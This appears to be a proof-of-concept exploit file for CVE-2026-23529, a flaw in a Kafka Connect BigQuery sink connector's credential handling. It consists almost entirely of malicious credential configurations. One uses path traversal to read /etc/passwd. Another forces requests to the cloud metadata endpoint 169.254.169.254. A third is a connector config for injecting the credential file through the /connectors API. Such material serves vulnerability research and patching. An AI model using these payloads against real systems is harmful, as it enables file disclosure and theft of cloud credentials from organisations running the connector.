# CVE-2026-23529 PoC - Malicious BigQuery Credential Configuration
# This PoC demonstrates arbitrary file read via credential_source.file
malicious_credential = {
"type": "service_account",
"project_id": "attacker-controlled-project",
"private_key_id": "1234567890",
"private_key": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQ...\n-----END RSA PRIVATE KEY-----\n",
"client_email": "
[email protected]",
"client_id": "123456789",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"credential_source": {
# Arbitrary file read via file path traversal
"file": "../../../../etc/passwd"
}
}
# SSRF PoC via credential_source.url
malicious_credential_ssrf = {
"type": "service_account",
"project_id": "attacker-controlled-project",
"private_key_id": "1234567890",
"private_key": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQ...\n-----END RSA PRIVATE KEY-----\n",
"client_email": "
[email protected]",
"client_id": "123456789",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"credential_source": {
# SSRF attack via URL pointing to internal service
"url": "http://169.254.169.254/latest/meta-data/"
}
}
# Exploitation: Inject via Kafka Connect connector configuration
# POST /connectors endpoint with malicious config
connector_config = {
"name": "bigquery-sink",
"config": {
"connector.class": "com.wepay.kafka.connect.bigquery.BigQuerySinkConnector",
"gcp.bigquery.credentials.file": "/tmp/malicious_credential.json", # Path to malicious file
"gcp.bigquery.project": "victim-project"
}
}